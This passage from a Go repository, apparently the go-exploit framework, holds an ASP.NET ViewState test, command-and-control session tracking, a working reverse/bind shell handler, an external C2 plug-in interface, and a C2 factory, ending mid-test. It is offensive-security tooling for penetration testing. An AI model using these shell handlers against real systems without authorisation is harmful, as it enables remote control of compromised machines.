<input type="hidden" name="__EVENTVALIDATION" id="__EVENTVALIDATION" value="/wEdAAdexv6/qKqWdd7V9UzkVbKnzivrZbTfl5HxflMl0WEimkj+n3ntyqDMPWej+FjsRo61P6Uqwq7GZ15buFg7WHqF4VZwC+5O3u0TMTTYeToUrXDySQQEwxvyin+PIQ6Xt1JpqJ+bt/0dmbPhJrKioUwF82Mylv8B1bqOz6F0llEnG94eilk=" />
</div>
</body>
</html>`
var pageState2 = `<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head><meta http-equiv="X-UA-Compatible" content="IE=9" /><meta http-equiv="Page-Enter" content="Alpha(opacity=100)" /><title>
Gladinet Cloud Cluster
</title>
<body style="overflow:hidden;">
<form name="aspnetForm" method="post" action="./admindatabase.aspx" id="aspnetForm">
<div>
<input type="hidden" name="__EVENTTARGET" id="__EVENTTARGET" value="" />
<input type="hidden" name="__EVENTARGUMENT" id="__EVENTARGUMENT" value="" />
<input type="hidden" name="__LASTFOCUS" id="__LASTFOCUS" value="" />
<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="/wEPDwULLTE4OTcxMDA5NzIPZBYCZg9kFgQCAw8WAh4EVGV4dGVkAgUPZBYIAgYPZBYGAjsPEGQPFgRmAgECAgIDFgQQBRREZWZhdWx0IC0gYWxsIGluIG9uZQUHZGVmYXVsdGcQBQZNeSBTcWwFBW15c3FsZxAFClNRTCBTZXJ2ZXIFA3NxbGcQBQpQb3N0Z3JlU1FMBQRwc3FsZxYBAgNkAj0PDxYCHgdWaXNpYmxlaGRkAkUPDxYCHwFnZGQCCA8PFgIeC05hdmlnYXRlVXJsBSVodHRwOi8vd3d3LmdsYWRpbmV0LmNvbS9wL2NvbnRhY3QuaHRtZGQCCQ8PFgIfAgUjaHR0cDovL3d3dy5nbGFkaW5ldC5jb20vcC90ZXJtcy5odG1kZAIKDw8WAh8CBSVodHRwOi8vd3d3LmdsYWRpbmV0LmNvbS9wL3ByaXZhY3kuaHRtZGQYAQUeX19Db250cm9sc1JlcXVpcmVQb3N0QmFja0tleV9fFgEFIGN0bDAwJE1haW5Db250ZW50JFBTUUxDaGtTU0xNb2Rlt1OAugQHTFQSO9InFhq1a4zTB6w=" />
</div>
<div>
<!-- contrived example removes <input type="hidden" name="__VIEWSTATEGENERATOR" id="__VIEWSTATEGENERATOR" value="C73717A7" /> -->
<input type="hidden" name="__EVENTVALIDATION" id="__EVENTVALIDATION" value="/wEdAA1uUUuJru4fqcEgJkMrkl/VzivrZbTfl5HxflMl0WEimkj+n3ntyqDMPWej+FjsRo61P6Uqwq7GZ15buFg7WHqF4VZwC+5O3u0TMTTYeToUrXDySQQEwxvyin+PIQ6Xt1J+6SNjww5M+V+WUpWYV8cEoUTnLwGbguM3r6r03Xnunl50DFJPWsXTExtP5yQn7eqIN4VNCPK0IRBU8qYLZ2Qrlo7dTb8AdCT3V/XWpLNKSntkbVfk8X4Pe7mGcdZvwtNpqJ+bt/0dmbPhJrKioUwF+aS81hLoX5JwP8HKC0ur6/9jlQ8=" />
</div>
</body>
</html>
`
func TestState_Full(t *testing.T) {
state := aspnet.State{}
p := state.AsParams()
if len(p) != 0 {
t.Error("Parameters should not have state currently")
}
state.Update(pageState1)
p = state.AsParams()
if len(p) == 0 {
t.Error("Parameters should have state currently")
}
if len(p) != 6 {
t.Errorf("First state should only have 6 values: %d - %#v", len(p), p)
}
value, exists := p["__VIEWSTATE"]
if !exists {
t.Error("ViewState should be set on first request state update")
}
if value != `/wEPDwULLTE4OTcxMDA5NzIPZBYCZg9kFgQCAw8WAh4EVGV4dGVkAgUPZBYIAgYPZBYCAjsPEGQPFgRmAgECAgIDFgQQBRREZWZhdWx0IC0gYWxsIGluIG9uZQUHZGVmYXVsdGcQBQZNeSBTcWwFBW15c3FsZxAFClNRTCBTZXJ2ZXIFA3NxbGcQBQpQb3N0Z3JlU1FMBQRwc3FsZxYBZmQCCA8PFgIeC05hdmlnYXRlVXJsBSVodHRwOi8vd3d3LmdsYWRpbmV0LmNvbS9wL2NvbnRhY3QuaHRtZGQCCQ8PFgIfAQUjaHR0cDovL3d3dy5nbGFkaW5ldC5jb20vcC90ZXJtcy5odG1kZAIKDw8WAh8BBSVodHRwOi8vd3d3LmdsYWRpbmV0LmNvbS9wL3ByaXZhY3kuaHRtZGRkhIVOv1laSf4FVfKCihTCvPyajtM=` {
t.Error("ViewState on first update is unexpected")
}
value, exists = p["__LASTFOCUS"]
if !exists {
t.Error("LastFocus should not be nil")
}
if value != `` {
t.Error("LastFocus should be set but is an empty string")
}
if state.ViewStateGenerator == nil {
t.Errorf("ViewStateGenerator should not be nil on first request: %#v", state.ViewStateGenerator)
}
state.Update(pageState2)
p = state.AsParams()
if len(p) == 0 {
t.Error("Parameters should have state currently at state 2")
}
if len(p) != 5 {
t.Errorf("Second state should only have 5 values: %d - %#v", len(p), p)
}
if state.ViewStateGenerator != nil {
t.Errorf("ViewStateGenerator should be nil on second request: %#v", state.ViewStateGenerator)
}
if state.ViewState == nil {
t.Errorf("ViewState should be not be nil on second request: %#v", state.ViewStateGenerator)
}
if *state.ViewState != `/wEPDwULLTE4OTcxMDA5NzIPZBYCZg9kFgQCAw8WAh4EVGV4dGVkAgUPZBYIAgYPZBYGAjsPEGQPFgRmAgECAgIDFgQQBRREZWZhdWx0IC0gYWxsIGluIG9uZQUHZGVmYXVsdGcQBQZNeSBTcWwFBW15c3FsZxAFClNRTCBTZXJ2ZXIFA3NxbGcQBQpQb3N0Z3JlU1FMBQRwc3FsZxYBAgNkAj0PDxYCHgdWaXNpYmxlaGRkAkUPDxYCHwFnZGQCCA8PFgIeC05hdmlnYXRlVXJsBSVodHRwOi8vd3d3LmdsYWRpbmV0LmNvbS9wL2NvbnRhY3QuaHRtZGQCCQ8PFgIfAgUjaHR0cDovL3d3dy5nbGFkaW5ldC5jb20vcC90ZXJtcy5odG1kZAIKDw8WAh8CBSVodHRwOi8vd3d3LmdsYWRpbmV0LmNvbS9wL3ByaXZhY3kuaHRtZGQYAQUeX19Db250cm9sc1JlcXVpcmVQb3N0QmFja0tleV9fFgEFIGN0bDAwJE1haW5Db250ZW50JFBTUUxDaGtTU0xNb2Rlt1OAugQHTFQSO9InFhq1a4zTB6w=` {
t.Error("ViewState on second update is unexpected")
}
}
func TestState_Each(t *testing.T) {
state := aspnet.State{}
p := state.AsParams()
if len(p) != 0 {
t.Error("Parameters should not have state currently")
}
state.Update(pageState1)
p = state.AsParams()
if len(p) == 0 {
t.Error("Parameters should have state currently")
}
if len(p) != 6 {
t.Errorf("First state should only have 6 values: %d - %#v", len(p), p)
}
value, exists := p["__VIEWSTATE"]
if !exists {
t.Error("ViewState should be set on first request state update")
}
if value != `/wEPDwULLTE4OTcxMDA5NzIPZBYCZg9kFgQCAw8WAh4EVGV4dGVkAgUPZBYIAgYPZBYCAjsPEGQPFgRmAgECAgIDFgQQBRREZWZhdWx0IC0gYWxsIGluIG9uZQUHZGVmYXVsdGcQBQZNeSBTcWwFBW15c3FsZxAFClNRTCBTZXJ2ZXIFA3NxbGcQBQpQb3N0Z3JlU1FMBQRwc3FsZxYBZmQCCA8PFgIeC05hdmlnYXRlVXJsBSVodHRwOi8vd3d3LmdsYWRpbmV0LmNvbS9wL2NvbnRhY3QuaHRtZGQCCQ8PFgIfAQUjaHR0cDovL3d3dy5nbGFkaW5ldC5jb20vcC90ZXJtcy5odG1kZAIKDw8WAh8BBSVodHRwOi8vd3d3LmdsYWRpbmV0LmNvbS9wL3ByaXZhY3kuaHRtZGRkhIVOv1laSf4FVfKCihTCvPyajtM=` {
t.Error("ViewState on first update is unexpected")
}
value, exists = p["__LASTFOCUS"]
if !exists {
t.Error("LastFocus should not be nil")
}
if value != `` {
t.Error("LastFocus should be set but is an empty string")
}
value, exists = p["__VIEWSTATEGENERATOR"]
if !exists {
t.Error("ViewStateGenerator should not be nil")
}
if value != `C73717A7` {
t.Error("ViewStateGenerator on first update is unexpected")
}
value, exists = p["__EVENTVALIDATION"]
if !exists {
t.Error("EventValidation should not be nil")
}
if value != `/wEdAAdexv6/qKqWdd7V9UzkVbKnzivrZbTfl5HxflMl0WEimkj+n3ntyqDMPWej+FjsRo61P6Uqwq7GZ15buFg7WHqF4VZwC+5O3u0TMTTYeToUrXDySQQEwxvyin+PIQ6Xt1JpqJ+bt/0dmbPhJrKioUwF82Mylv8B1bqOz6F0llEnG94eilk=` {
t.Error("EventValidation on first update is unexpected")
}
if state.EventArgument == nil {
t.Errorf("EventArgument should not be nil on second request: %#v", state.EventArgument)
}
if *state.EventArgument != "" {
t.Errorf("EventArgument should be empty string on second request: %#v", state.EventArgument)
}
if state.EventTarget == nil {
t.Errorf("EventTarget should not be nil on second request: %#v", state.EventTarget)
}
if *state.EventTarget != "" {
t.Errorf("EventTarget should be empty string on second request: %#v", state.EventTarget)
}
}
func TestState_Merge(t *testing.T) {
state := aspnet.State{}
p := state.AsParams()
if len(p) != 0 {
t.Error("Parameters should not have state currently")
}
state.Update(pageState1)
p = state.AsParams()
if len(p) == 0 {
t.Error("Parameters should have state currently")
}
if len(p) != 6 {
t.Errorf("State should only have 6 values: %d - %#v", len(p), p)
}
v := map[string]string{
"STUFF": "THINGS",
}
merged := state.MergeParams(v)
if len(merged) != 7 {
t.Errorf("State should have 7 values: %d - %#v", len(p), p)
}
}
================================================
FILE: c2/channel/channel.go
================================================
// The channel package is the container for first-party framework C2 structures and variables, it
// holds the internal settings for multiple types of C2s. It is also passed to other external C2
// components in order to support extracting components such as lhost and lport.
package channel
import (
"crypto/rand"
"encoding/base32"
"io"
"net"
"sync/atomic"
"time"
"github.com/vulncheck-oss/go-exploit/output"
)
type Channel struct {
IPAddr string
HTTPAddr string
Port int
HTTPPort int
Timeout int
IsClient bool
Shutdown *atomic.Bool
Sessions map[string]Session
Input io.Reader
Output io.Writer // Currently unused but figured we'd add it ahead of time
}
type Session struct {
RemoteAddr string
ConnectionTime time.Time
conn *net.Conn
Active bool
LastSeen time.Time
}
// HadSessions checks if a channel has any tracked sessions. This can be used to lookup if a C2
// successfully received callbacks ever, regardless of whether or not it is currently active.
//
// c, ok := c2.GetInstance(conf.C2Type)
// c.Channel().HadSessions()
func (c *Channel) HadSessions() bool {
// Currently sessions are only added to the session structure and then their states are modified.
// This will only work as long as the sessions are never actually removed from the map, which for
// now isn't an issue but if we ever switch to a history vs active tracking systtem then this will
// not be sufficient.
return len(c.Sessions) > 0
}
// HasSessions checks if a channel has any tracked sessions. This can be used to lookup if a C2
// successfully received callbacks:
//
// c, ok := c2.GetInstance(conf.C2Type)
// c.Channel().HasSessions()
func (c *Channel) HasSessions() bool {
for _, sess := range c.Sessions {
if sess.Active {
return true
}
}
return false
}
// AddSession adds a remote connection for session tracking. If a network connection is being
// tracked it can be added here and will be cleaned up and closed automatically by the C2 on
// shutdown.
func (c *Channel) AddSession(conn *net.Conn, addr string) bool {
if len(c.Sessions) == 0 {
c.Sessions = make(map[string]Session)
}
// This is my session randomizing logic. The theory is that it keeps us dependency free while
// also creating the same 16bit strength of UUIDs. If we only plan on using the random UUIDs
// anyway this should meet the same goals while also being URL safe and no special characters.
k := make([]byte, 16)
_, err := rand.Read(k)
if err != nil {
output.PrintfFrameworkError("Could not add session: %s", err.Error())
return false
}
id := base32.StdEncoding.WithPadding(base32.NoPadding).EncodeToString(k)
c.Sessions[id] = Session{
// Add the time of now to the current connection time
ConnectionTime: time.Now(),
conn: conn,
RemoteAddr: addr,
LastSeen: time.Now(),
Active: true,
}
return true
}
// Updates the LastSeen value for provided connection to the provided time.
func (c *Channel) UpdateLastSeenByConn(conn net.Conn, timeStamp time.Time) bool {
id, ok := c.GetSessionIDByConn(conn)
if !ok {
return false
}
session, ok := c.Sessions[id]
if !ok {
output.PrintFrameworkError("Session ID does not exist")
return false
}
session.LastSeen = timeStamp
c.Sessions[id] = session
return true
}
// Returns the session ID that contains a given connection.
func (c *Channel) GetSessionIDByConn(conn net.Conn) (string, bool) {
if len(c.Sessions) == 0 {
output.PrintFrameworkDebug("No sessions exist")
return "", false
}
for id, session := range c.Sessions {
if *session.conn == conn {
return id, true
}
}
output.PrintFrameworkError("Conn does not exist in sessions")
return "", false
}
// RemoveSession removes a specific session ID and if a connection exists, closes it.
func (c *Channel) RemoveSession(id string) bool {
if len(c.Sessions) == 0 {
output.PrintFrameworkDebug("No sessions exist")
return false
}
session, ok := c.Sessions[id]
if !ok {
output.PrintFrameworkError("Session ID does not exist")
return false
}
if c.Sessions[id].conn != nil {
(*c.Sessions[id].conn).Close()
}
session.Active = false
c.Sessions[id] = session
return true
}
// RemoveSessions removes all tracked sessions and closes any open connections if applicable.
func (c *Channel) RemoveSessions() bool {
if len(c.Sessions) == 0 {
output.PrintFrameworkDebug("No sessions exist")
return false
}
for id := range c.Sessions {
c.RemoveSession(id)
}
return true
}
================================================
FILE: c2/cli/basic.go
================================================
// Command-line helpers for C2s
package cli
import (
"bufio"
"net"
"os"
"sync"
"testing"
"time"
"github.com/vulncheck-oss/go-exploit/c2/channel"
"github.com/vulncheck-oss/go-exploit/output"
"github.com/vulncheck-oss/go-exploit/protocol"
)
// backgroundResponse handles the network connection reading for response data and contains a
// trigger to the shutdown of the channel to ensure cleanup happens on socket close.
func backgroundResponse(ch *channel.Channel, wg *sync.WaitGroup, conn net.Conn, responseCh chan string) {
defer wg.Done()
defer func(channel *channel.Channel) {
// Signals for both routines to stop, this should get triggered when socket is closed
// and causes it to fail the read
channel.Shutdown.Store(true)
}(ch)
responseBuffer := make([]byte, 1024)
for {
if ch.Shutdown.Load() {
return
}
err := conn.SetReadDeadline(time.Now().Add(1 * time.Second))
if err != nil {
output.PrintfFrameworkError("Error setting read deadline: %s, exiting.", err)
return
}
bytesRead, err := conn.Read(responseBuffer)
if err != nil && !os.IsTimeout(err) {
// things have gone sideways, but the command line won't know that
// until they attempt to execute a command and the socket fails.
// i think that's largely okay.
return
}
if bytesRead > 0 {
// I think there is technically a race condition here where the socket
// could have move data to write, but the user has already called exit
// below. I that that's tolerable for now.
responseCh <- string(responseBuffer[:bytesRead])
// Update "Last Seen"
ok := ch.UpdateLastSeenByConn(conn, time.Now())
if !ok {
output.PrintFrameworkError("Failed to update LastSeen value for connection")
return
}
}
time.Sleep(10 * time.Millisecond)
}
}
// A very basic reverse/bind shell handler.
func Basic(conn net.Conn, ch *channel.Channel) {
// Create channels for communication between goroutines.
responseCh := make(chan string)
// Use a WaitGroup to wait for goroutines to finish.
var wg sync.WaitGroup
// Goroutine to read responses from the server.
wg.Add(1)
// If running in the test context inherit the channel input setting, this will let us control the
// input of the shell programmatically.
if !testing.Testing() {
ch.Input = os.Stdin
}
go backgroundResponse(ch, &wg, conn, responseCh)
// Goroutine to handle responses and print them.
wg.Add(1)
go func(channel *channel.Channel) {
defer wg.Done()
for {
if channel.Shutdown.Load() {
return
}
select {
case response := <-responseCh:
output.PrintShell(response)
default:
}
time.Sleep(10 * time.Millisecond)
}
}(ch)
go func(channel *channel.Channel) {
// no waitgroup for this one because blocking IO, but this should not matter
// since we are intentionally not trying to be a multi-implant C2 framework.
// There still remains the issue that you would need to hit enter to find out
// that the socket is dead but at least we can stop Basic() regardless of this fact.
// This issue of unblocking stdin is discussed at length here https://github.com/golang/go/issues/24842
for {
reader := bufio.NewReader(ch.Input)
command, _ := reader.ReadString('\n')
if channel.Shutdown.Load() {
break
}
if command == "exit\n" {
channel.Shutdown.Store(true)
break
}
ok := protocol.TCPWrite(conn, []byte(command))
if !ok {
channel.Shutdown.Store(true)
break
}
time.Sleep(10 * time.Millisecond)
}
}(ch)
// wait until the go routines are clean up
wg.Wait()
close(responseCh)
}
================================================
FILE: c2/external/external.go
================================================
// The external C2 module extends the C2 functionality and exposes an interface to allow for an
// exploit to utilize a channel that is defined in an external repository. This enables third-party
// and non-trivial channels. This module defines an interface and external service type that must be
// handled by the implementing external module.
//
// The External interface requires the following functions, each of which require the external
// C2 to define a set of functions:
//
// - Configure - A function to wrap the internal C2 functions and integrate them into the
// go-exploit expected structure.
// - SetFlags - Configure the C2 specific flags used by the exploit.
// - SetInit - Sets up the server singleton/C2 representation of the server structs.
// - SetChannel` - Creates the go-exploit channel that is the framework representation of an
// object and allows for channel settings to filter into the external module.
// - SetRun - The function that actually runs the external C2.
//
// At this time only one External module can be defined per exploit as the implementation and
// singleton can not be duplicated.
//
// # Creating an external C2 channel
//
// An external module template will generally be structured as follows:
//
// package c2external
//
// import (
// "flag"
// "net"
//
// "github.com/vulncheck-oss/go-exploit/c2"
// "github.com/vulncheck-oss/go-exploit/c2/channel"
// "github.com/vulncheck-oss/go-exploit/c2/external"
// )
//
// var flagCommand string
//
// var (
// Name = "ExtServer"
// ExtServer c2.Impl
// )
//
// type ExternalC2 struct {
// Channel *channel.Channel
// // Example of how you can define variables accessible in the set functions
// Listener *net.Listener
// }
//
// func New() ExternalC2 {
// return ExternalC2{}
// }
//
// func (c2 *ExternalC2) ExtServerFlags() {
// // Flags for the external C2. The run function in the framework handles the parsing and
// // the options will be available to the exploit.
// flag.StringVar(&flagCommand, Name+".command", "", "Run a single command and exit the payload.")
// }
//
// func (c2 *ExternalC2) ExtServerInit() {
// // Any initialization such as key generation or external configuration components can go
// // here.
// }
//
// func (c2 *ExternalC2) ExtServerChannel(channel *channel.Channel) {
// // This will generally just be setting the internal channel to match the expected
// // go-exploit channel and provide access to the framework channel.
// c2.Channel = channel
// }
//
// func (c2 *ExternalC2) ExtServerRun(timeout int) bool {
// // Add any servers or connection pooling here
// // Make sure to handle the timeout!
// return false
// }
//
// func Configure(externalServer *external.Server) {
// ExtServer = c2.AddC2(Name)
// extc2 := New()
// externalServer.SetFlags(extc2.ExtServerFlags)
// externalServer.SetChannel(extc2.ExtServerChannel)
// externalServer.SetInit(extc2.ExtServerInit)
// externalServer.SetRun(extc2.ExtServerRun)
// }
//
// # Adding an external C2 to an exploit
//
// In order to add an external C2 to an exploit it is required to get a new
//
// package main
//
// import (
// "flag"
// "os/exec"
//
// "github.com/vulncheck-oss/go-exploit"
// "github.com/vulncheck-oss/go-exploit/c2"
// "github.com/vulncheck-oss/go-exploit/c2/external"
// "github.com/vulncheck-oss/go-exploit/config"
// "github.com/vulncheck-oss/go-exploit/output"
//
// c2example "github.com/vulncheck-oss/external-c2-experiments/example"
// )
//
// type ExternalTest struct{}
//
// var flagPayload string
//
// func (sploit ExternalTest) ValidateTarget(_ *config.Config) bool {
// return false
// }
//
// func (sploit ExternalTest) CheckVersion(_ *config.Config) exploit.VersionCheckType {
// return exploit.NotImplemented
// }
//
// func (sploit ExternalTest) RunExploit(conf *config.Config) bool {
// if flagPayload == "" {
// output.PrintfStatus("Payload argument required")
// return false
// }
// cmd := exec.Command(flagPayload)
// stdoutStderr, err := cmd.CombinedOutput()
// if err != nil {
// output.PrintfError("%s", err.Error())
// }
// output.PrintfError("%s", stdoutStderr)
//
// return true
// }
//
// func main() {
// flag.StringVar(&flagPayload, "payload", "", "Payload to execute")
// ext2 := external.GetInstance(c2example.ExtServer.Name)
// c2example.Configure(ext2)
// supportedC2 := []c2.Implementation{
// c2example.ExtServer,
// c2.SimpleShellServer,
// }
//
// conf := config.NewRemoteExploit(
// config.ImplementedFeatures{
// AssetDetection: false,
// VersionScanning: false,
// Exploitation: false },
// config.CodeExecution, supportedC2,
// "Vendor", []string{"Product"},
// []string{"cpe:2.3:a:vendor:product"},
// "CVE-2024-1270", "HTTP", 8080
// )
// sploit := ExternalTest{}
// exploit.RunProgram(sploit, conf)
// }
//
// It is important to keep in mind that a payload will still need to be written for our newly
// created external C2, as well as handling said payload in the exploit.
//
// In order to use the above C2 in an exploit the following shows how it could be used:
package external
import (
"github.com/vulncheck-oss/go-exploit/c2/channel"
"github.com/vulncheck-oss/go-exploit/output"
)
// The Server struct holds the declared external modules internal functions and channel data.
type Server struct {
flags func()
init func()
run func(int) bool
shutdown func() bool
meta func(*channel.Channel)
channel *channel.Channel
name string
}
// The External interface defines which functions are required to be defined in an external C2
// channel in order to function inside the framework properly. These are ordered in generally
// suggested execution order.
type External interface {
Configure(*Server)
SetChannel(func(*channel.Channel))
SetFlags(func())
SetInit(func())
SetRun(func(int) bool)
SetShutdown(func() bool)
}
var serverSingletons map[string]*Server
// Gets the singleton instance of the external C2. These are kept track based on their internal
// names.
func GetInstance(externalName string) *Server {
if len(serverSingletons) == 0 {
serverSingletons = make(map[string]*Server)
singleton := new(Server)
singleton.name = externalName
serverSingletons[externalName] = singleton
return singleton
}
_, exists := serverSingletons[externalName]
if !exists {
singleton := new(Server)
singleton.name = externalName
serverSingletons[externalName] = singleton
return singleton
}
return serverSingletons[externalName]
}
// SetFlags sets the external modules function for command line flag management.
func (externalServer *Server) SetFlags(f func()) {
if f == nil {
panic("SetFlags *must* be a valid function")
}
externalServer.flags = f
}
// CreateFlags is used by the framework to run the set function for flag management. This is not
// expected to be implemented by the downstream external C2.
func (externalServer *Server) CreateFlags() {
if externalServer.flags == nil {
panic("CreateFlags *must* be a valid function")
}
externalServer.flags()
}
// SetInit sets the external C2 initialization function. This function is expected to be used for
// any database management, configuration parsing, and any other functionality required for the C2
// that is not managed by the go-exploit framework channels or command line flags.
func (externalServer *Server) SetInit(f func()) {
if externalServer.flags == nil {
panic("Init *must* be a valid function")
}
externalServer.init = f
}
// SetChannel sets the function for channel management. The go-exploit channel represents basic
// settings that are provided to the frameworks core modules and are regularly used as ergonomic
// helpers, but may also be required by the external module (ie accessing -lhost or -lport variables
// without having to resort to passing all flag arguments). This generally does not need to
// be complex and is often just passing the channel to a C2 side variable, but they can also be used
// to modify the channel for use in a C2.
func (externalServer *Server) SetChannel(f func(*channel.Channel)) {
externalServer.meta = f
}
// Init triggers the set C2 initialization and passes the channel to the external module.
func (externalServer *Server) Init(channel *channel.Channel) bool {
if channel.IsClient {
output.PrintFrameworkError("Called ExternalServer as a client.")
return false
}
externalServer.init()
externalServer.meta(channel)
return true
}
// SetRun sets the external C2 run logic. This is often where the core of the handling is done and
// will often times be setting up listeners, connecting to a SaaS service and querying for payload
// responses, setting up external handlers, etc.
func (externalServer *Server) SetRun(f func(int) bool) {
externalServer.run = f
}
// Triggers the external modules Run function with the set timeout.
func (externalServer *Server) Run(timeout int) {
externalServer.run(timeout)
}
// SetShutdown sets the function for server shutdown handling and session cleanup logic. This
// function is what gets called when the framework receives a OS signal, a shell is closed, or
// manually invoked.
func (externalServer *Server) SetShutdown(f func() bool) {
externalServer.shutdown = f
}
// Shutdown triggers the set shutdown function.
func (externalServer *Server) Shutdown() bool {
return externalServer.shutdown()
}
// Return the underlying C2 channel containing channel metadata and session tracking.
func (externalServer *Server) Channel() *channel.Channel {
// I'd much rather have just exposed a `Server.Channel`, but we are interface bound
return externalServer.channel
}
================================================
FILE: c2/factory.go
================================================
// Command and Control (C2)
package c2
import (
"github.com/vulncheck-oss/go-exploit/c2/channel"
"github.com/vulncheck-oss/go-exploit/c2/external"
"github.com/vulncheck-oss/go-exploit/c2/httpservefile"
"github.com/vulncheck-oss/go-exploit/c2/httpserveshell"
"github.com/vulncheck-oss/go-exploit/c2/httpshellserver"
"github.com/vulncheck-oss/go-exploit/c2/shelltunnel"
"github.com/vulncheck-oss/go-exploit/c2/simpleshell"
"github.com/vulncheck-oss/go-exploit/c2/sslshell"
"github.com/vulncheck-oss/go-exploit/output"
)
// An interface used by both reverse shells, bind shells, and stagers.
type Interface interface {
CreateFlags()
Init(channel *channel.Channel) bool
Run(timeout int)
Shutdown() bool
Channel() *channel.Channel
}
// Internal representation of a C2 implementation. Each C2 is managed by
// the framework by the Impl struct type and should be unique.
type Impl struct {
Name string
Category category
}
// Categories allow for type hints and invalid checks.
type category int
const (
InvalidCategory category = -1
SimpleShellServerCategory category = 0
SimpleShellClientCategory category = 1
SSLShellServerCategory category = 2
HTTPServeFileCategory category = 3
HTTPServeShellCategory category = 4
ExternalCategory category = 5
ShellTunnelCategory category = 6
HTTPShellServerCategory category = 7
)
// Simplified names in order to keep the old calling convention and allow
// for quick references in supported C2 functions.
var (
SimpleShellServer = internalSupported["SimpleShellServer"]
SimpleShellClient = internalSupported["SimpleShellClient"]
SSLShellServer = internalSupported["SSLShellServer"]
HTTPServeFile = internalSupported["HTTPServeFile"]
HTTPServeShell = internalSupported["HTTPServeShell"]
ShellTunnel = internalSupported["ShellTunnel"]
HTTPShellServer = internalSupported["HTTPShellServer"]
// We do not want external to be called directly because external
// internally is not useful.
)
// The internal representation and model for keeping track of C2s. This is
// modified by external modules, but first-party framework supported
// channels are defined here.
var internalSupported = map[string]Impl{
"SimpleShellServer": {Name: "SimpleShellServer", Category: SimpleShellServerCategory},
"SimpleShellClient": {Name: "SimpleShellClient", Category: SimpleShellClientCategory},
"SSLShellServer": {Name: "SSLShellServer", Category: SSLShellServerCategory},
"HTTPServeFile": {Name: "HTTPServeFile", Category: HTTPServeFileCategory},
"HTTPServeShell": {Name: "HTTPServeShell", Category: HTTPServeShellCategory},
"HTTPShellServer": {Name: "HTTPShellServer", Category: HTTPShellServerCategory},
// Ensure the internal supported External module name is an error if used
// directly.
"External": {Name: "", Category: InvalidCategory},
"ShellTunnel": {Name: "ShellTunnel", Category: ShellTunnelCategory},
}
// Add an external C2 to the supported list. Use this to integrate a new C2
// into the framework. This is expected to be called early in the
// configuration process in order to expose the name of the C2 to the rest
// of the framework.
func AddC2(name string) Impl {
_, exists := internalSupported[name]
if exists {
// We might not want to panic, but it does simplify the call
panic("C2 type already exists")
}
i := Impl{Name: name, Category: ExternalCategory}
internalSupported[name] = i
return i
}
// Factory pattern for creating c2 interfaces. Note that this is
// returning an interface, which is a bit anti-Go but it's more or less
// exactly what we want so.
func GetInstance(implementation Impl) (Interface, bool) {
switch implementation.Category {
case SimpleShellServerCategory:
return simpleshell.GetServerInstance(), true
case SimpleShellClientCategory:
return simpleshell.GetClientInstance(), true
case SSLShellServerCategory:
return sslshell.GetInstance(), true
case HTTPServeFileCategory:
return httpservefile.GetInstance(), true
case HTTPServeShellCategory:
return httpserveshell.GetInstance(), true
case ExternalCategory:
if implementation.Name != "" {
return external.GetInstance(implementation.Name), true
}
case HTTPShellServerCategory:
return httpshellserver.GetInstance(), true
case ShellTunnelCategory:
return shelltunnel.GetInstance(), true
case InvalidCategory:
// Calling your external C2 as explicitly invalid is odd.
output.PrintFrameworkError("Invalid C2 Server")
default:
output.PrintFrameworkError("Invalid C2 Server")
}
return nil, false
}
// Call into the c2 impl so that it can create command line flags.
func CreateFlags(implementation Impl) {
switch implementation.Category {
case SimpleShellServerCategory:
simpleshell.GetServerInstance().CreateFlags()
case SimpleShellClientCategory:
simpleshell.GetClientInstance().CreateFlags()
case SSLShellServerCategory:
sslshell.GetInstance().CreateFlags()
case HTTPServeFileCategory:
httpservefile.GetInstance().CreateFlags()
case HTTPServeShellCategory:
httpserveshell.GetInstance().CreateFlags()
case ExternalCategory:
if implementation.Name != "" {
external.GetInstance(implementation.Name).CreateFlags()
}
case HTTPShellServerCategory:
httpshellserver.GetInstance().CreateFlags()
case ShellTunnelCategory:
shelltunnel.GetInstance().CreateFlags()
case InvalidCategory:
// Calling your external C2 as explicitly invalid is odd.
output.PrintFrameworkError("Invalid C2 Server")
default:
output.PrintFrameworkError("Invalid C2 Server")
}
}
// HadSessions returns if the underlying channel has any sessions, regardless of their Active value.
func HadSessions(implementation Impl) bool {
switch implementation.Category {
case SimpleShellServerCategory:
return simpleshell.GetServerInstance().Channel().HadSessions()
case SimpleShellClientCategory:
return simpleshell.GetClientInstance().Channel().HadSessions()
case SSLShellServerCategory:
return sslshell.GetInstance().Channel().HadSessions()
case HTTPServeFileCategory:
return httpservefile.GetInstance().Channel().HadSessions()
case HTTPServeShellCategory:
return httpserveshell.GetInstance().Channel().HadSessions()
case ExternalCategory:
if implementation.Name != "" {
return external.GetInstance(implementation.Name).Channel().HadSessions()
}
case HTTPShellServerCategory:
return httpshellserver.GetInstance().Channel().HadSessions()
case ShellTunnelCategory:
return shelltunnel.GetInstance().Channel().HadSessions()
case InvalidCategory:
default:
}
output.PrintFrameworkError("Invalid C2 Server")
return false
}
// HasSessions returns if the underlying channel has active sessions. This is useful for code that
// needs to validate if callbacks have occurred and is a helper wrapper around the channel package
// function of the same name.
func HasSessions(implementation Impl) bool {
switch implementation.Category {
case SimpleShellServerCategory:
return simpleshell.GetServerInstance().Channel().HasSessions()
case SimpleShellClientCategory:
return simpleshell.GetClientInstance().Channel().HasSessions()
case SSLShellServerCategory:
return sslshell.GetInstance().Channel().HasSessions()
case HTTPServeFileCategory:
return httpservefile.GetInstance().Channel().HasSessions()
case HTTPServeShellCategory:
return httpserveshell.GetInstance().Channel().HasSessions()
case ExternalCategory:
if implementation.Name != "" {
return external.GetInstance(implementation.Name).Channel().HasSessions()
}
case HTTPShellServerCategory:
return httpshellserver.GetInstance().Channel().HasSessions()
case ShellTunnelCategory:
return shelltunnel.GetInstance().Channel().HasSessions()
case InvalidCategory:
default:
}
output.PrintFrameworkError("Invalid C2 Server")
return false
}
// Return the internal representation of a C2 from a string.
func StringToImpl(c2Name string) (Impl, bool) {
for _, value := range internalSupported {
if value.Name == c2Name {
return value, true
}
}
return Impl{Name: "", Category: InvalidCategory}, false
}
================================================
FILE: c2/factory_test.go
================================================
package c2
import (
"testing"
"github.com/vulncheck-oss/go-exploit/c2/channel"
"github.com/vulncheck-oss/go-exploit/c2/httpservefile"
)
func TestHTTPServeFileInit(t *testing.T) {
impl, success := GetInstance(HTTPServeFile)
if !success {
t.Fatal("Failed to create HTTPServeFile")
}
if len(httpservefile.GetInstance().HostedFiles) != 0 {
t.Fatal("Instance has a filename already")
}
httpservefile.GetInstance().AddFile("name", "random", []byte("data"))
